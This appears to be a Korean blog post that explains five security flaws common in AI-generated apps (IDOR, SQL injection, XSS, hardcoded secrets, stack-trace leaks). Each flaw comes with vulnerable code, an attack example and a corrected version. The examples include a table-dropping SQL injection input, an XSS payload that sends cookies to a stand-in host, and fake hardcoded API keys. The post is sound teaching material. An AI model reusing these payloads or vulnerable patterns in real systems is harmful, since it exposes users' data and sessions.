AI가 짜준 코드의 배신" — 바이브코딩 앱의 기술적 취약점 5가지
AI가 짜준 코드의 배신 — 바이브코딩 앱의 기술적 취약점 5가지
"우와, 이게 프롬프트 한 줄로 구현됐다고?"
AI가 만들어준 코드를 보고 감탄한 순간, 당신은 아마 이런 생각을 했을 것이다. "이거 진짜 괜찮은데?" 그런데 그 코드 안에 당신의 사용자 데이터를 통째로 빼낼 수 있는 구멍이 뚫려 있을 가능성이 높다.
이 글에서는 바이브코딩으로 만든 앱에서 가장 흔하고 치명적인 보안 취약점 5가지를 실제 코드와 함께 정리한다.
1. 권한 검증 누락 (IDOR)
AI가 만든 코드:
// Express.js — 주문 조회 API
app.get('/api/orders/:orderId', (req, res) => {
const orderId = req.params.orderId;
// 여기가 문제다:ใคร가 요청해도 모든 주문을 볼 수 있음
db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => {
if (err) return res.status(500).json({ error: err.message });
res.json(result[0]);
});
});
위험성: 누군가 /api/orders/1, /api/orders/2, /api/orders/3 순서대로 요청하면 다른 사용자의 주문 내역을 모두 열람할 수 있다. 이것이 바로 IDOR(Insecure Direct Object Reference) 취약점이다.
공격 시나리오:
1. 내 주문 조회: GET /api/orders/42 → 정상
2. 타인 주문 조회: GET /api/orders/43 → 다른 사용자 결제 정보 노출
3. 루프로 반복: 1~1000번까지 순회 → 전체 사용자 데이터 유출
바른 코드:
app.get('/api/orders/:orderId', authenticateToken, (req, res) => {
const orderId = req.params.orderId;
const userId = req.user.id; // JWT에서 추출한 현재 사용자 ID
db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[orderId, userId],
(err, result) => {
if (err) return res.status(500).json({ error: '서버 오류' });
if (!result.length) return res.status(404).json({ error: '주문 없음' });
res.json(result[0]);
}
);
});
차이: AND user_id = ? 조건 하나가 추가되었다. 현재 로그인한 사용자의 주문만 조회된다.
2. SQL 인젝션
AI가 만든 코드:
# Flask — 검색 기능
@app.route('/search')
def search():
keyword = request.args.get('q')
# 직접 문자열 삽입 → 인젝션 취약
query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%'"
cursor.execute(query)
results = cursor.fetchall()
return jsonify(results)
공격 시나리오:
정상 입력: http://app.com/search?q=노트북
→ SELECT * FROM products WHERE name LIKE '%노트북%'
악성 입력: http://app.com/search?q=' OR '1'='1
→ SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'
→ 모든 상품 데이터 유출
더 악성: http://app.com/search?q='; DROP TABLE products;--
→ 테이블 자체가 삭제됨
바른 코드:
@app.route('/search')
def search():
keyword = request.args.get('q')
# 바인딩 파라미터 사용 → 인젝션 방지
cursor.execute(
"SELECT * FROM products WHERE name LIKE %s",
(f'%{keyword}%',)
)
results = cursor.fetchall()
return jsonify(results)
핵심: f-string 대신 ? 또는 %s 바인딩을 사용하면, 입력값이 SQL 구문이 아닌 "값"으로 처리된다.
3. XSS (Cross-Site Scripting)
AI가 만든 코드:
<!-- 사용자 프로필 페이지 -->
<div id="profile"></div>
<script>
// URL에서 사용자 이름을 가져와 화면에 표시
const username = new URLSearchParams(window.location.search).get('user');
document.getElementById('profile').innerHTML = `<h1>${username}의 프로필</h1>`;
</script>
공격 시나리오:
정상 URL: profile.html?user=홍길동
→ <h1>홍길동의 프로필</h1> (정상)
악성 URL: profile.html?user=<script>document.location='http://xss.com/steal?c='+document.cookie</script>
→ 사용자의 쿠키(세션 토큰)가 공격자 서버로 전송됨
→ 공격자가 세션을 탈취하여 로그인된 상태로 앱 사용
바른 코드:
<div id="profile"></div>
<script>
const username = new URLSearchParams(window.location.search).get('user');
// textContent 사용 → HTML 태그가 아닌 텍스트로 처리
const h1 = document.createElement('h1');
h1.textContent = `${username}의 프로필`;
document.getElementById('profile').appendChild(h1);
</script>
핵심: innerHTML 대신 textContent를 사용하면, 입력값이 HTML로 해석되지 않는다.
4. 민감 정보 하드코딩
AI가 만든 코드:
# 데이터베이스 연결
import psycopg2
conn = psycopg2.connect(
host="db.mycompany.com",
database="production",
user="admin",
password="SuperSecret123!" # ← 여기
)
# 이메일 발송
SMTP_PASSWORD = "GmailAppPassword456" # ← 여기
# 결제 API
STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc" # ← 여기
위험성: 이 코드가 GitHub에 올라가면? 5분 안에 자동 스캔 봇이 이 키들을 찾아내어 사용한다. sk_live_로 시작하는 Stripe 키는 곧바로 결제 사기에 사용된다.
실제 사고 사례: GitHub에서 password, secret, api_key 등을 스캔하는 자동화 봇이 24시간 돌아간다. 코드를 push하는 순간, 민감 정보는 이미 유출된 것이다.
바른 코드:
# .env 파일 (GitHub에 올리지 않음)
# DB_PASSWORD=SuperSecret123!
# SMTP_PASSWORD=GmailAppPassword456
# STRIPE_SECRET_KEY=sk_live_4eC39HqLyjWDarjtT1zdp7dc
import os
from dotenv import load_dotenv
load_dotenv()
conn = psycopg2.connect(
host=os.environ.get('DB_HOST'),
database=os.environ.get('DB_NAME'),
user=os.environ.get('DB_USER'),
password=os.environ.get('DB_PASSWORD')
)
.gitignore에 반드시 추가:
.env
*.key
*.pem
config/secrets.json
5. 에러 핸들링 미흡으로 인한 정보 노출
AI가 만든 코드:
// Express.js — 전역 에러 핸들러
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).json({
error: err.message,
stack: err.stack // ← 치명적
});
});
위험성: 운영 서버에서 에러가 발생하면, 사용자 브라우저에 다음과 같은 정보가 노출된다:
{
"error": "Cannot read property 'id' of undefined",
"stack": "TypeError: Cannot read property 'id' of undefined\n
at /app/src/routes/orders.js:15:23\n
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)\n
at /app/node_modules/express/lib/router/index.js:28:3\n
at Function.handle (/app/node_modules/express/lib/router/index.js:88:3)"
}
이 정보를 통해 공격자는:
- 서버 디렉터리 구조 파악 (
/app/src/routes/orders.js) - 프레임워크 버전 확인 (
express/lib/router) - 코드 라인 넘버 추적 (
orders.js:15:23) - 추가 공격 설계 가능
바른 코드:
// 전역 에러 핸들러
app.use((err, req, res, next) => {
console.error(err.stack); // 서버 로그에만 기록
// 운영 환경: 상세 에러 노출 금지
if (process.env.NODE_ENV === 'production') {
res.status(500).json({ error: '서버 내부 오류가 발생했습니다.' });
} else {
// 개발 환경에서만 상세 에러 표시
res.status(500).json({ error: err.message, stack: err.stack });
}
});
6. 실전 보안 체크리스트
바이브코딩 앱을 프로덕션에 배포하기 전 반드시 확인하라:
백엔드
- [ ] 입력값 검증: 모든 사용자 입력에 SQL 인젝션 필터링이 걸려 있는가?
- [ ] 인증과 인가: 모든 API 요청에서 JWT/세션 토큰을 재검증하는가?
- [ ] 인젝션 방지: SQL 쿼리에 바인딩 파라미터를 사용하는가?
- [ ] 에러 핸들링: 운영 서버에서 상세 에러 메시지가 노출되지 않는가?
- [ ] 민감 정보 격리: API 키, 비밀번호가
.env에 있고.gitignore에 등록되어 있는가?
프론트엔드
- [ ] XSS 방지:
innerHTML대신textContent를 사용하는가? - [ ] CSRF 보호: POST/PUT/DELETE 요청에 CSRF 토큰이 포함되는가?
- [ ] 콘솔 로그 제거:
console.log()가 프로덕션 코드에 남아있지 않은가?
인프라
- [ ] 의존성 감사:
npm audit또는pip check로 취약한 라이브러리가 없는가? - [ ] HTTPS 적용: 모든 통신이 HTTPS로 암호화되는가?
- [ ] 디버그 모드 OFF:
DEBUG=True가 프로덕션 환경에서 켜져있지 않은가?
# npm 의존성 감사
npm audit
npm audit fix
# pip 의존성 감사
pip check
pip-audit
# SonarQube 정적 분석 (예시)
sonar-scanner -Dsonar.projectKey=myapp -Dsonar.sources=./src
7. 결론 — 지휘관이 똑똑해야 군대가 안전하다
AI는 훌륭한 코딩 도구다. 그러나 AI는 보안을 "책임지지" 않는다. AI가 만든 코드의 보안은 전적으로 사용자의 몫이다.
> "AI가 만든 코드는 범죄에 악용되기 딱 좋은 수준으로 완벽하게 보안 취약하다."
SQL 인젝션이 뭔지 모르면, AI가 만들어준 검색 기능이 전체 데이터베이스를 유출할 수 있다. XSS가 뭔지 모르면, AI가 만들어준 프로필 페이지가 사용자 세션을 탈취당할 수 있다.
바이브코딩을 한다면, 적어도 이 다섯 가지 취약점이 뭔지, 왜 위험한지, 어떻게 고치는지는 알아야 한다. 그렇지 않으면 당신이 만든 앱은 당신의 사용자를 배신하게 된다.
> "지휘관(인간)이 똑똑해야 군대(AI)가 안전하다."
본 글은 운영자 개인의 실전 경험과 관점을 바탕으로 작성되었습니다.